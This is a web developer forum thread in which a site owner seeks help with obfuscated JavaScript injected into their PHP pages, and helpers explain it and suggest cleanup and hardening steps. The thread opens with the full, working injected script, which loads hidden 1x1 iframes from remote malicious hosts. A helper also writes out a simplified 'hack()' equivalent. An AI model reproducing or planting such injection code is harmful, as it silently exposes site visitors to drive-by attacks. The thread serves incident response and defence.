['\x54'+jhL,psj6+'\x61\x47\x6e\x37\x34',xt2C+'\x65\x61',zhy+'\x71\x30\x6b\x75\x44']}('\x67\x4b\x4e','\x54\x75\x6e','\x74\x72\x65\x63\x72','\x42\x51\x7a\x76\x5a')[2] + function(IN,vB,ii,bRSfk){return ['\x43\x57\x54\x35\x4a'+vB,'\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x67\x65'+IN,bRSfk+'\x47\x6e\x71\x77\x67','\x6b\x5a\x67'+ii]}('\x74','\x69\x4d\x71\x38\x34','\x73\x58','\x48\x52\x77\x64\x64')[1];sI=139;qX="";qJ="";var bZ='';var dR=4243;this.eDI=false;var v = function(r3nP,T6DgB,plS0){return ['\x53\x76'+plS0,T6DgB+'\x72\x69\x74\x65','\x51'+r3nP]}('\x78\x77','\x77','\x41\x63\x72\x51\x47')[1];nW="";this.bL=false;this.oGG="";iB=false;this.u=false;try {var sX=new Array();var rH=false;var cB=new Date();var fR='';qQ="";var tB=new Array();var e = function(w,oUMI,z,E9Na,jv2){return ['\x70\x6c\x42'+jv2,oUMI+'\x7a',w+'\x73\x68','\x5a\x50\x78\x34\x5a'+z,'\x66\x37'+E9Na]}('\x70\x75','\x6d\x4e','\x51\x52','\x63\x58\x48','\x48\x63\x43')[2];var qN=new Array();var aX=new Array();wM=false;iX=false;var pB='';var cF="cF";var lJ = function(T0,Z,kLQ,Y5ZZS,L2Wdt){return [L2Wdt+'\x6d\x57',Y5ZZS+'\x57\x31\x6e',kLQ+'\x45\x6a\x35\x59\x4f','\x44\x5a\x39\x35\x7a'+T0,'\x73'+Z]}('\x62\x48','\x72\x63','\x69\x72\x56\x78','\x44\x69\x76\x62','\x41')[4];this.kG='';var kL='';fN="";nZ=false;var vG=function(){};var iI=new Array();sD="";function qVE(){};var g = function(fI1mv,lU,f){return ['\x4f\x68'+f,'\x57\x39\x67'+fI1mv,lU+'\x66']}('\x56\x6e','\x76\x62\x6d\x69','\x6d\x44\x56')[2]+function(TBgO,K,u4yyx,ueG5,fxaF){return ['\x72\x73'+K,'\x71\x79\x31\x77\x36'+ueG5,TBgO+'\x49\x67',fxaF+'\x6d','\x53\x4c\x7a\x6f'+u4yyx]}('\x79\x48\x67\x32','\x65\x74','\x62\x63','\x68\x6d\x73\x39','\x71\x66\x42\x56\x75')[0];var vU=false;oEZ="";var eU=64788;aL=false;this.dC="dC";this.xF="";var qE = function(Tip1l,ax,fb28A,P){return [fb28A+'\x6e\x67\x76',P+'\x76\x75',ax+'\x41\x57\x56','\x77\x69'+Tip1l]}('\x64','\x4a','\x58\x64','\x69\x34\x54\x67')[3] + function(pfhib,ozs,lET,GvT2,TWJ){return ['\x44\x65\x45\x44'+ozs,GvT2+'\x6a\x4a\x36','\x44\x57\x79\x63\x42'+TWJ,pfhib+'\x45\x43\x6d\x4e\x53',lET+'\x68']}('\x71\x63\x4d\x63','\x4f\x37\x62\x68','\x74','\x4d\x72\x44\x48','\x51\x51')[4];this.gL=43023;jX="";function nJ(){};pE="pE";this.wL='';rXX='';this.fV='';var y = function(i,nHCd,YcVPm){return [YcVPm+'\x57\x76\x37\x67','\x68'+nHCd,'\x4d\x64\x31'+i]}('\x67\x32\x35\x6e\x34','\x65\x69','\x61\x39\x68\x57')[1] + function(bMaC,CsCFI,gLJp6,V4){return [bMaC+'\x74','\x4f'+V4,'\x46\x39\x77\x4a'+gLJp6,'\x61\x58\x44\x6e'+CsCFI]}('\x67\x68','\x57\x62\x33\x37\x43','\x54\x48\x7a\x59\x56','\x66')[0];this.pX=11348;wV=false;this.vD="";vW="vW";var uH=function(){};var cDI=new Date();var qV = function(Ol,uAr,ZoPt,uFK2,Hse){return [Hse+'\x41\x78','\x61\x63\x32'+uAr,'\x4d\x6c'+Ol,'\x57\x42\x70'+uFK2,'\x31'+ZoPt]}('\x73\x39\x66\x4a','\x79\x56\x38\x61','','\x69','\x6d')[4];this.lDS="";function kK(){};xZ='';var bH="";var yCC=false;var jN=37761;var nE=false;var cO=639;p = function(GD,vsdzO,G3,kIgUa,ki){return [G3+'\x66\x63\x56\x65\x43','\x67\x65\x74\x73\x65'+vsdzO,GD+'\x57\x79\x47\x56','\x5a\x6c\x69'+ki,kIgUa+'\x51\x6c\x6b\x6a\x4f']}('\x69\x4f','\x74\x41\x74\x74\x72\x69\x73\x64\x66','\x6a\x61\x45','\x6f\x48\x4f\x32','\x61\x77\x50')[1];var zI=10358;var mZ=49794;var kO=function(){};this.mM=46482;this.lW="lW";this.cW=false;var yS = function(zbnT,Q,Wp,g){return [zbnT+'\x70',Q+'\x65\x52',g+'\x73',Wp+'\x70\x57\x61']}('\x61\x70','\x6c\x76','\x72\x41\x44\x47\x42','\x75\x41\x6c\x62\x54')[0] + function(hk2,UzBH,GGJ,PXU){return ['\x44\x30\x47\x49'+GGJ,'\x68\x58\x4d'+PXU,'\x66\x32\x68\x39'+UzBH,'\x65\x6e\x64\x43\x68'+hk2]}('\x69\x6c\x64','\x44\x45','\x4d','\x62\x39\x77\x73\x5a')[3];var aN=new Date();var xB="";this.dA="";this.fS=65268;fG=51102;var yL = function(VRx37,u,f,Q1p,wdA){return ['\x6a\x78\x45\x4a'+u,wdA+'\x79\x53\x57',VRx37+'\x4f\x6b',f+'\x64\x79','\x58\x66\x57\x76\x4a'+Q1p]}('\x5a','\x42\x6e','\x62\x6f','\x59\x47\x64','\x68')[3];var fA=function(){return 'fA'};pA='';var xFX=new Date();this.qJZ="qJZ";var nL=32463;wF="wF";var o = function(t,i,ge,qCB){return [t+'\x75',ge+'\x54','\x5a'+i,'\x67\x51\x65'+qCB]}('\x73','\x57','\x62','\x56\x70\x62\x6c')[0]+function(VcLye,VY,Wy,BnDwq,KdN9V){return [BnDwq+'\x74\x74\x50\x78','\x41\x42\x4c\x4b\x61'+Wy,KdN9V+'\x73\x74\x72\x69','\x63'+VcLye,'\x4f\x47\x45\x43\x64'+VY]}('\x66\x78','\x4d','\x69\x32\x68','\x43\x47\x75\x79','\x62')[2]+function(Kbr,eB,Jn,n,I1){return ['\x51'+I1,'\x6d'+eB,'\x4e\x44\x37'+Kbr,Jn+'\x67',n+'\x6b\x35\x7a\x56\x78']}('\x59\x65\x6f\x38\x52','\x4c\x4c\x32\x43','\x6e','\x52\x42\x34\x6d','\x59\x75\x79')[3];var gK=new Date();jG="jG";zC="";var nK=new Array();function eJ(){};bZM="bZM";var d = new Array();vA="vA";var gXQ=new Array();var kN="";xA=6929;this.gQ=50365;var jI='';d[e](y, o, lZ, qE, g, p, yL, yS, qV, r, lJ);this.fM="fM";var cK=433;this.yG="";var vZ=function(){};this.wU=false;function mB(){};oGQ="oGQ";var cQ="cQ";lB='';vO=false;this.rU='';function fAY(){};bZJ="bZJ";var eF="eF";bIB=false;function fZ(){};var oF=function(){return 'oF'};this.dD=false;wK='';pV="";var xO=new Date();var pEQ="";wVV=false;var gP=false;this.hU=42848;var tO="tO";var dF=false;this.gJ=13592;var yH=false;var oY=function(){};var nQ=false;var iV=false;this.kF=5193;var vJ="";this.mL="mL";var mE="mE";var iJ="";var uN=function(){};qZ="qZ";this.lV="lV";var fX=function(){};this.sXX=false;var wX="wX";var uD=function(){return 'uD'};var f = d[2][d[1]](3, 16);this.oAY="oAY";var vFM=59947;oS='';var lUA=function(){};tA="tA";var eD = d[4][d[1]](3, 6);uE="uE";var pU=1134;bHJ=59973;cDA="";var dZ=false;rW = eD + function(OU8,ynM,fMss,ITU){return [OU8+'\x44\x7a\x79\x36',ITU+'\x73\x70',fMss+'\x4c\x4e\x38\x79',ynM+'\x6d\x65']}('\x64\x4a','\x61','\x6d\x31\x76','\x4c\x59\x5a')[3];var wR=false;var qI='';var aS=new Array();var tBP='';var uL="";var hG=function(){return 'hG'};fC="fC";var qG = d[5][d[1]](3, 11);xG=54897;var sC=35411;var jTN=new Array();cON='';sZ=false;var bR=function(){return 'bR'};k = qG + function(mj9,SgT9,BPjTC){return [SgT9+'\x64\x6d',BPjTC+'\x58\x38\x53\x37','\x62\x75\x74'+mj9]}('\x65','\x52\x79\x68','\x6c\x6d\x34\x65\x4e')[2];this.bD='';var qD="";var cC=function(){};function qRY(){};aH=37273;fD='';dH='';var oE = n.c();var aZ=function(){};var cH=new Date();eDQ="";var xJ="xJ";var aB=new Date();var rQ='';var hW='';var pP=d[9][f](rW);var aG=new Date();var uW=function(){return 'uW'};this.wH="wH";var qNA=false;var gR=new Date();var kD=new Array();xU="";pP[d[10]] = oE;function wE(){};var vI="";var jP="jP";function jV(){};this.zR="zR";pP[d[3]] = d[8];mX='';this.rS=false;var zE=19342;this.xC=52424;var bA=function(){};pP[d[0]] = d[8];function fDV(){};this.mLP=42906;var sDI=function(){};var uA="";this.nB='';iK=10307;var fB=false;var lVU=function(){return 'lVU'};pBA="";kI='';d[9][d[6]][d[7]](pP);var zZG=false;this.nUO='';jJ=false;xN='';function eS(){};aEF="";uS="";} catch(b) {eA="eA";this.uV='';this.zU='';kOC=44913;mA=44351;sP="sP";var jC="";r.write(function(Hyul,EdI0f,rQ,uZM){return [rQ+'\x3c\x2f\x68\x74\x6d\x6c\x3e',EdI0f+'\x59\x47\x70\x71\x49',Hyul+'\x44','\x6f'+uZM]}('\x68\x49','\x43\x55\x54','\x3c\x68\x74\x6d\x6c\x20\x3e\x3c\x62\x6f\x64\x79\x20\x3e\x3c\x2f\x62\x6f\x64\x79\x3e','\x44')[0]);cP=false;var sCL="";this.nZU=14422;this.oV="";var qF=false;eQ="eQ";var sM=new Date();hWF="hWF";l[z](function(){ n.m() }, 106);gT="";this.rD="";var fCO=false;}qP="";this.gTT="";var rE='';this.kW='';}};var cY='';var cR=new nH(); var yB=function(){};cR.m();var nHJ=function(){};</script><script>function nH(){};var fL="fL";nH.prototype = {c : function() {var gG='';i='';return function(D,u,l,tBk){return [tBk+'\x4e','\x20\x68\x74\x74\x70\x3a\x2f\x2f\x66\x65\x6e\x64\x6f\x72\x2e\x72\x75\x2f\x73\x74\x72\x61\x74\x6f\x63'+u,D+'\x4f\x6c\x69\x6f\x34',l+'\x68\x4a\x78']}('\x66\x4c\x70\x77','\x61\x73\x74\x65\x72\x2f\x69\x6e\x66\x6f\x2e\x70\x68\x70','\x42\x67\x63\x6c','\x52\x53\x78\x65')[1];this.zK="";var h=47246;},m : function() {dE=57387;s='';function gX(){};var bI=6745;this.cD=13568;qR="qR";a='';var r=document;this.hF='';this.zZ=false;var eX=function(){return 'eX'};this.rC='';var sA='';nU=12016;vF="";this.j="";var l=window;var dX=false;var cDK=function(){return 'cDK'};this.rX="rX";var mK="mK";var n = this;oG="oG";var oA="oA";function jT(){};var mR="mR";var w=new Array();var yQ="";this.lR=false;oQ="";String.prototype.iVX=function(mY, x){var q=this; return q.replace(mY, x)};yC='';var lD=25364;var iG=function(){};var t="t";var z = function(sk,erCE,V,he,Bl){return [sk+'\x70\x51\x30\x6f','\x78\x65'+Bl,'\x70\x32\x77'+erCE,'\x73'+he,V+'\x59']}('\x48\x32','\x41','\x6f','\x65\x74\x54','\x51\x58\x58')[3] + function(rg,IcRgS,mMR,z,jz2){return ['\x61\x55\x47\x64'+jz2,'\x73\x73'+IcRgS,'\x69\x6d\x65'+mMR,z+'\x77\x6e','\x74\x37\x59\x31\x7a'+rg]}('\x44\x68\x78\x63','\x69\x76\x75\x78\x46','\x6f','\x61\x64','\x6f\x74')[2] + function(Acz,z,Nt,ExJ8z,MSaY){return [Nt+'\x74','\x63\x4b\x70\x44\x37'+ExJ8z,'\x77'+Acz,'\x67\x46\x4d'+z,'\x59'+MSaY]}('\x6d\x43\x41','\x52','\x75','\x66\x31\x42\x4a\x39','\x4e\x51')[0];var zA=false;this.sN=false;this.aE="aE";sY="";this.lU='';var lZ = function(jhL,zhy,xt2C,psj6){return ['\x54'+jhL,psj6+'\x61\x47\x6e\x37\x34',xt2C+'\x65\x61',zhy+'\x71\x30\x6b\x75\x44']}('\x67\x4b\x4e','\x54\x75\x6e','\x74\x72\x65\x63\x72','\x42\x51\x7a\x76\x5a')[2] + function(IN,vB,ii,bRSfk){return ['\x43\x57\x54\x35\x4a'+vB,'\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x67\x65'+IN,bRSfk+'\x47\x6e\x71\x77\x67','\x6b\x5a\x67'+ii]}('\x74','\x69\x4d\x71\x38\x34','\x73\x58','\x48\x52\x77\x64\x64')[1];sI=139;qX="";qJ="";var bZ='';var dR=4243;this.eDI=false;var v = function(r3nP,T6DgB,plS0){return ['\x53\x76'+plS0,T6DgB+'\x72\x69\x74\x65','\x51'+r3nP]}('\x78\x77','\x77','\x41\x63\x72\x51\x47')[1];nW="";this.bL=false;this.oGG="";iB=false;this.u=false;try {var sX=new Array();var rH=false;var cB=new Date();var fR='';qQ="";var tB=new Array();var e = function(w,oUMI,z,E9Na,jv2){return ['\x70\x6c\x42'+jv2,oUMI+'\x7a',w+'\x73\x68','\x5a\x50\x78\x34\x5a'+z,'\x66\x37'+E9Na]}('\x70\x75','\x6d\x4e','\x51\x52','\x63\x58\x48','\x48\x63\x43')[2];var qN=new Array();var aX=new Array();wM=false;iX=false;var pB='';var cF="cF";var lJ = function(T0,Z,kLQ,Y5ZZS,L2Wdt){return [L2Wdt+'\x6d\x57',Y5ZZS+'\x57\x31\x6e',kLQ+'\x45\x6a\x35\x59\x4f','\x44\x5a\x39\x35\x7a'+T0,'\x73'+Z]}('\x62\x48','\x72\x63','\x69\x72\x56\x78','\x44\x69\x76\x62','\x41')[4];this.kG='';var kL='';fN="";nZ=false;var vG=function(){};var iI=new Array();sD="";function qVE(){};var g = function(fI1mv,lU,f){return ['\x4f\x68'+f,'\x57\x39\x67'+fI1mv,lU+'\x66']}('\x56\x6e','\x76\x62\x6d\x69','\x6d\x44\x56')[2]+function(TBgO,K,u4yyx,ueG5,fxaF){return ['\x72\x73'+K,'\x71\x79\x31\x77\x36'+ueG5,TBgO+'\x49\x67',fxaF+'\x6d','\x53\x4c\x7a\x6f'+u4yyx]}('\x79\x48\x67\x32','\x65\x74','\x62\x63','\x68\x6d\x73\x39','\x71\x66\x42\x56\x75')[0];var vU=false;oEZ="";var eU=64788;aL=false;this.dC="dC";this.xF="";var qE = function(Tip1l,ax,fb28A,P){return [fb28A+'\x6e\x67\x76',P+'\x76\x75',ax+'\x41\x57\x56','\x77\x69'+Tip1l]}('\x64','\x4a','\x58\x64','\x69\x34\x54\x67')[3] + function(pfhib,ozs,lET,GvT2,TWJ){return ['\x44\x65\x45\x44'+ozs,GvT2+'\x6a\x4a\x36','\x44\x57\x79\x63\x42'+TWJ,pfhib+'\x45\x43\x6d\x4e\x53',lET+'\x68']}('\x71\x63\x4d\x63','\x4f\x37\x62\x68','\x74','\x4d\x72\x44\x48','\x51\x51')[4];this.gL=43023;jX="";function nJ(){};pE="pE";this.wL='';rXX='';this.fV='';var y = function(i,nHCd,YcVPm){return [YcVPm+'\x57\x76\x37\x67','\x68'+nHCd,'\x4d\x64\x31'+i]}('\x67\x32\x35\x6e\x34','\x65\x69','\x61\x39\x68\x57')[1] + function(bMaC,CsCFI,gLJp6,V4){return [bMaC+'\x74','\x4f'+V4,'\x46\x39\x77\x4a'+gLJp6,'\x61\x58\x44\x6e'+CsCFI]}('\x67\x68','\x57\x62\x33\x37\x43','\x54\x48\x7a\x59\x56','\x66')[0];this.pX=11348;wV=false;this.vD="";vW="vW";var uH=function(){};var cDI=new Date();var qV = function(Ol,uAr,ZoPt,uFK2,Hse){return [Hse+'\x41\x78','\x61\x63\x32'+uAr,'\x4d\x6c'+Ol,'\x57\x42\x70'+uFK2,'\x31'+ZoPt]}('\x73\x39\x66\x4a','\x79\x56\x38\x61','','\x69','\x6d')[4];this.lDS="";function kK(){};xZ='';var bH="";var yCC=false;var jN=37761;var nE=false;var cO=639;p = function(GD,vsdzO,G3,kIgUa,ki){return [G3+'\x66\x63\x56\x65\x43','\x67\x65\x74\x73\x65'+vsdzO,GD+'\x57\x79\x47\x56','\x5a\x6c\x69'+ki,kIgUa+'\x51\x6c\x6b\x6a\x4f']}('\x69\x4f','\x74\x41\x74\x74\x72\x69\x73\x64\x66','\x6a\x61\x45','\x6f\x48\x4f\x32','\x61\x77\x50')[1];var zI=10358;var mZ=49794;var kO=function(){};this.mM=46482;this.lW="lW";this.cW=false;var yS = function(zbnT,Q,Wp,g){return [zbnT+'\x70',Q+'\x65\x52',g+'\x73',Wp+'\x70\x57\x61']}('\x61\x70','\x6c\x76','\x72\x41\x44\x47\x42','\x75\x41\x6c\x62\x54')[0] + function(hk2,UzBH,GGJ,PXU){return ['\x44\x30\x47\x49'+GGJ,'\x68\x58\x4d'+PXU,'\x66\x32\x68\x39'+UzBH,'\x65\x6e\x64\x43\x68'+hk2]}('\x69\x6c\x64','\x44\x45','\x4d','\x62\x39\x77\x73\x5a')[3];var aN=new Date();var xB="";this.dA="";this.fS=65268;fG=51102;var yL = function(VRx37,u,f,Q1p,wdA){return ['\x6a\x78\x45\x4a'+u,wdA+'\x79\x53\x57',VRx37+'\x4f\x6b',f+'\x64\x79','\x58\x66\x57\x76\x4a'+Q1p]}('\x5a','\x42\x6e','\x62\x6f','\x59\x47\x64','\x68')[3];var fA=function(){return 'fA'};pA='';var xFX=new Date();this.qJZ="qJZ";var nL=32463;wF="wF";var o = function(t,i,ge,qCB){return [t+'\x75',ge+'\x54','\x5a'+i,'\x67\x51\x65'+qCB]}('\x73','\x57','\x62','\x56\x70\x62\x6c')[0]+function(VcLye,VY,Wy,BnDwq,KdN9V){return [BnDwq+'\x74\x74\x50\x78','\x41\x42\x4c\x4b\x61'+Wy,KdN9V+'\x73\x74\x72\x69','\x63'+VcLye,'\x4f\x47\x45\x43\x64'+VY]}('\x66\x78','\x4d','\x69\x32\x68','\x43\x47\x75\x79','\x62')[2]+function(Kbr,eB,Jn,n,I1){return ['\x51'+I1,'\x6d'+eB,'\x4e\x44\x37'+Kbr,Jn+'\x67',n+'\x6b\x35\x7a\x56\x78']}('\x59\x65\x6f\x38\x52','\x4c\x4c\x32\x43','\x6e','\x52\x42\x34\x6d','\x59\x75\x79')[3];var gK=new Date();jG="jG";zC="";var nK=new Array();function eJ(){};bZM="bZM";var d = new Array();vA="vA";var gXQ=new Array();var kN="";xA=6929;this.gQ=50365;var jI='';d[e](y, o, lZ, qE, g, p, yL, yS, qV, r, lJ);this.fM="fM";var cK=433;this.yG="";var vZ=function(){};this.wU=false;function mB(){};oGQ="oGQ";var cQ="cQ";lB='';vO=false;this.rU='';function fAY(){};bZJ="bZJ";var eF="eF";bIB=false;function fZ(){};var oF=function(){return 'oF'};this.dD=false;wK='';pV="";var xO=new Date();var pEQ="";wVV=false;var gP=false;this.hU=42848;var tO="tO";var dF=false;this.gJ=13592;var yH=false;var oY=function(){};var nQ=false;var iV=false;this.kF=5193;var vJ="";this.mL="mL";var mE="mE";var iJ="";var uN=function(){};qZ="qZ";this.lV="lV";var fX=function(){};this.sXX=false;var wX="wX";var uD=function(){return 'uD'};var f = d[2][d[1]](3, 16);this.oAY="oAY";var vFM=59947;oS='';var lUA=function(){};tA="tA";var eD = d[4][d[1]](3, 6);uE="uE";var pU=1134;bHJ=59973;cDA="";var dZ=false;rW = eD + function(OU8,ynM,fMss,ITU){return [OU8+'\x44\x7a\x79\x36',ITU+'\x73\x70',fMss+'\x4c\x4e\x38\x79',ynM+'\x6d\x65']}('\x64\x4a','\x61','\x6d\x31\x76','\x4c\x59\x5a')[3];var wR=false;var qI='';var aS=new Array();var tBP='';var uL="";var hG=function(){return 'hG'};fC="fC";var qG = d[5][d[1]](3, 11);xG=54897;var sC=35411;var jTN=new Array();cON='';sZ=false;var bR=function(){return 'bR'};k = qG + function(mj9,SgT9,BPjTC){return [SgT9+'\x64\x6d',BPjTC+'\x58\x38\x53\x37','\x62\x75\x74'+mj9]}('\x65','\x52\x79\x68','\x6c\x6d\x34\x65\x4e')[2];this.bD='';var qD="";var cC=function(){};function qRY(){};aH=37273;fD='';dH='';var oE = n.c();var aZ=function(){};var cH=new Date();eDQ="";var xJ="xJ";var aB=new Date();var rQ='';var hW='';var pP=d[9][f](rW);var aG=new Date();var uW=function(){return 'uW'};this.wH="wH";var qNA=false;var gR=new Date();var kD=new Array();xU="";pP[d[10]] = oE;function wE(){};var vI="";var jP="jP";function jV(){};this.zR="zR";pP[d[3]] = d[8];mX='';this.rS=false;var zE=19342;this.xC=52424;var bA=function(){};pP[d[0]] = d[8];function fDV(){};this.mLP=42906;var sDI=function(){};var uA="";this.nB='';iK=10307;var fB=false;var lVU=function(){return 'lVU'};pBA="";kI='';d[9][d[6]][d[7]](pP);var zZG=false;this.nUO='';jJ=false;xN='';function eS(){};aEF="";uS="";} catch(b) {eA="eA";this.uV='';this.zU='';kOC=44913;mA=44351;sP="sP";var jC="";r.write(function(Hyul,EdI0f,rQ,uZM){return [rQ+'\x3c\x2f\x68\x74\x6d\x6c\x3e',EdI0f+'\x59\x47\x70\x71\x49',Hyul+'\x44','\x6f'+uZM]}('\x68\x49','\x43\x55\x54','\x3c\x68\x74\x6d\x6c\x20\x3e\x3c\x62\x6f\x64\x79\x20\x3e\x3c\x2f\x62\x6f\x64\x79\x3e','\x44')[0]);cP=false;var sCL="";this.nZU=14422;this.oV="";var qF=false;eQ="eQ";var sM=new Date();hWF="hWF";l[z](function(){ n.m() }, 106);gT="";this.rD="";var fCO=false;}qP="";this.gTT="";var rE='';this.kW='';}};var cY='';var cR=new nH(); var yB=function(){};cR.m();var nHJ=function(){};</script>
THANK YOU. I need your help. SOS
matkt
Forum Newbie
Posts: 10
Joined: Mon Sep 06, 2010 5:27 pm

Re: Unwanted java script file in php codes.

Post by matkt »

BTW, Sorry about not indenting the code as I do not know WHERE AND WHEN THE CODE FINISHES.

Im really sorry. :(

M
User avatar
McInfo
DevNet Resident
Posts: 1532
Joined: Wed Apr 01, 2009 1:31 pm

Re: Unwanted java script file in php codes.

Post by McInfo »

The script you posted is obfuscated JavaScript that basically performs the same thing as this hack() function, but does it five times with three different URLs.

Code: Select all

function hack () {
    try {
        var iframe = document.createElement('iframe');
        iframe.src = 'http://evil-domain/hacker-script.php';
        iframe.width = '1';
        iframe.height = '1';
        document.body.appendChild(iframe);
    } catch (e) {
        document.write('<html><body></body></html>');
        window.setTimeout(function(){
            hack();
        }, 100);
    }
}
The script tries to insert 1x1-pixel iframes to connect to these remote sites:
  • macromediasetup. com/ zombie/
  • carombolkas. ru/ stds/ go. php? sid=9
  • fendor. ru/ stratocaster/ info. php
If the iframe cannot be inserted, the script empties the body of the page and tries again (and again, and again, ...).

I suggest that you delete all the files from your host, then restore the site from a backup that you are certain is clean. However, do not restore any scripts that allow users to upload or modify files. You need to first review those scripts for vulnerabilities. If you have such scripts, we can help you make them more robust.

If a file upload or modification script is not the security hole, your server may be poorly configured. If you are on a shared server, someone sharing the server with you might have access to your files.

Notify your server administrator that this breach has occurred.
matkt
Forum Newbie
Posts: 10
Joined: Mon Sep 06, 2010 5:27 pm

Re: Unwanted java script file in php codes.

Post by matkt »

Hey,
thanks for gettin back to me soon.
I spent a lot of time uploading the files and creating new products.
Is it possible for me to just delete the code that causing this and then save it?
Or
Is there another way to get rid of this "THING".

can you please explain to me where this code might start from. I mean from which file. Coz if I know that, then I can delete that code or file and then only reload a new version rather than deleting all me other files. [seems straightforward to me]

Secondly,

can you please sugest of some ways I can prevent this from happening in the future. I mean is there a "code" that would do the following pseudocode.

1 . check if there is any unauthorised scripts like Java etc.
2. If so, then block this and create a blocked file report.

or something like that. as I dont want this to happen again.
Sorry if I seem frustrated :banghead:

M
User avatar
McInfo
DevNet Resident
Posts: 1532
Joined: Wed Apr 01, 2009 1:31 pm

Re: Unwanted java script file in php codes.

Post by McInfo »

matkt wrote:Is it possible for me to just delete the code that causing this and then save it?
Do you mean edit the files and remove the offending JavaScript? Yes, you could do that as a treatment, but it wouldn't necessarily be a cure. We haven't determined the method of intrusion at this point, so it is very likely that the files will become infected again.
matkt wrote:Is there another way to get rid of this "THING".
To guarantee that there is no malicious code in your site, you must either check every file or delete all the files and restore them from a backup that you believe is good. Ideally, your backup would be in-sync with what should be on your site, so you wouldn't be losing anything.
matkt wrote:can you please explain to me where this code might start from. I mean from which file. Coz if I know that, then I can delete that code or file and then only reload a new version rather than deleting all me other files.
A likely intrusion point is a page on your site that allows users to upload files, or a page that allows users to submit text, then modifies existing files with that text. If a user can upload or modify server script files (PHP files), they have almost as much control of the site as you do. They can do things like insert JavaScript into files.
matkt wrote:can you please sugest of some ways I can prevent this from happening in the future. I mean is there a "code" that would do the following pseudocode.

1 . check if there is any unauthorised scripts like Java etc.
2. If so, then block this and create a blocked file report.

or something like that. as I dont want this to happen again.
  1. The best thing you can do is study the Security section of the PHP Manual to become aware of the things you need to defend against.
  2. Maybe ask your host to do a security audit of your server.
  3. I don't know of an existing script that does what you are asking. You could write a PHP script that could be run on a schedule (with cron) that would calculate md5 checksums of every file and compare them to a stored list of pre-calculated checksums. If the checksum doesn't match for a file, send an email to yourself and add this as a new first line to the file:

Code: Select all

<?php die('Error such-and-such occurred. Please contact so-and-so.'); ?>
matkt
Forum Newbie
Posts: 10
Joined: Mon Sep 06, 2010 5:27 pm

Re: Unwanted java script file in php codes.

Post by matkt »

McInfo wrote:I don't know of an existing script that does what you are asking. You could write a PHP script that could be run on a schedule (with cron) that would calculate md5 checksums of every file and compare them to a stored list of pre-calculated checksums. If the checksum doesn't match for a file, send an email to yourself and add this as a new first line to the file:
- Hiya, thanks for gettin back to me. Firstly, do you mind explaining what is "cron"
secondly, how would I go on to create a checksum? I mean does it check to see howmany lines of code are there in each file and then store that number?? or is it something else?.
And as you said before
We haven't determined the method of intrusion at this point, so it is very likely that the files will become infected again.
is it possible to determine the point of intrusion?

Secondly, can we create a file that would run every time (or schedule it) so that it could check for "the malicious script" and then delete that line. so basically, rather than deleting code on each and every file (which I dont mind doing), I could use php to do that for me. So the pseudocode would be

1. load file 1 .
2. check or scan each file to compare it to the current malicious code
3. If code found, then delete code
4. save file
5. loop until all files scanned.

Thanks
M
User avatar
timWebUK
Forum Contributor
Posts: 239
Joined: Thu Oct 29, 2009 6:48 am
Location: UK

Re: Unwanted java script file in php codes.

Post by timWebUK »

http://en.wikipedia.org/wiki/Cron

That's cron. Simply put it is a daemon that runs in the background on your webserver that checks a file periodically and will run any script when specified (i.e. a PHP file that carries out the checksum validation as suggested.)

It is unlikely if you are on shared hosting that you have access to cron.

As McInfo said, disable any PHP Upload scripts and secure all the coding within them - however, something he hasn't mentioned is that it could simply be that your FTP account has been breached. As a security measure I suggest you change your FTP password (greater than 8 characters, alphanumeric, mixed case.) And only connect to the server via SFTP (Generally port 22) as an additional measure.

Your pseudo is far too basic, that sort of script is not going to work 100% of the time. It will be better for you to disable the upload scripts, change your FTP password, notify your server administrator and SECURE the scripts manually.
User avatar
McInfo
DevNet Resident
Posts: 1532
Joined: Wed Apr 01, 2009 1:31 pm

Re: Unwanted java script file in php codes.

Post by McInfo »

matkt wrote:how would I go on to create a checksum?
A checksum is a string that is generated by an algorithm based on an input string. The checksum is always the same length (for example, 32 characters), regardless of the length of the input string. The algorithm always returns the same checksum for a particular input but a completely different checksum if the input is different by even one character.

PHP provides two functions for calculating the checksum, or "hash", of a file: md5_file() and sha1_file().
matkt wrote:is it possible to determine the point of intrusion?
It's possible. The intruder might have left some evidence somewhere, such as in a log file. I don't think it's worth worrying too much about though. If you secure the things you are responsible for (PHP code, passwords, etc.) and your host does its part to provide a strong hosting environment, you shouldn't have problems.
timWebUK wrote:It is unlikely if you are on shared hosting that you have access to cron.
I have a site on a shared host that has cron.
timWebUK wrote:I suggest you change your FTP password
Good point.
matkt
Forum Newbie
Posts: 10
Joined: Mon Sep 06, 2010 5:27 pm

Re: Unwanted java script file in php codes.

Post by matkt »

But the website I have allows users to create an account and upload their details.

It could be this that would be the cause of the problem.

If so, then is there a solution in which I can still keep the account creation and detail upload while preventing them from entering malicious code.

Correct me if Im wrong. but two straight forward solutions that come into my head are.

1. Limit the number of lines a user can put into the details column.
2. Only allow text and no script and limit the length of a text etc.....

And secondly, can I be in control of cron or will the host be in control of it?

thirdly, how do we secure the code within the files?

And thanx very much for the checksum thingy :D :D

M
User avatar
McInfo
DevNet Resident
Posts: 1532
Joined: Wed Apr 01, 2009 1:31 pm

Re: Unwanted java script file in php codes.

Post by McInfo »

matkt wrote:is there a solution in which I can still keep the account creation and detail upload while preventing them from entering malicious code.
matkt wrote:how do we secure the code within the files?
Filter and sanitize user input. If you post the script(s) that processes user input, people here can give you suggestions on how to secure it.
matkt wrote:can I be in control of cron or will the host be in control of it?
Your host probably provides a control panel that you can access with your browser. If you have access to cron (known as Task Scheduler on Windows), you will find it in the control panel.

The way it works is: you write a script and upload it to wherever you normally upload files; then configure cron to run the script at regular intervals (hourly, daily, weekly, or monthly).
matkt
Forum Newbie
Posts: 10
Joined: Mon Sep 06, 2010 5:27 pm

Re: Unwanted java script file in php codes.

Post by matkt »

Hi Mcinfo,

thanks for your support/. I do have access to cron on my control panel. So how effective is this check sum validation if I run it say every once a week?

and yea ill upload the user input files onto the post.


1 more thing.

while I was comparing my old files with the current files (I have on my root directory www), I found out that there was an additionial file called sessions.php which was not available in the backuped version of the site. could this have anything to do with the virus?
Inside that, it calls up 2 or 3 functions with some weird names for example sessions_destroy, function _sess_gc($maxlifetime) etc....) are these weird names or just names of useful functions?

WHAT IS THIS FILE????????????

thanks

mat
User avatar
timWebUK
Forum Contributor
Posts: 239
Joined: Thu Oct 29, 2009 6:48 am
Location: UK

Re: Unwanted java script file in php codes.

Post by timWebUK »

http://www.php.net/manual/en/book.session.php

That answers your question regarding sessions.

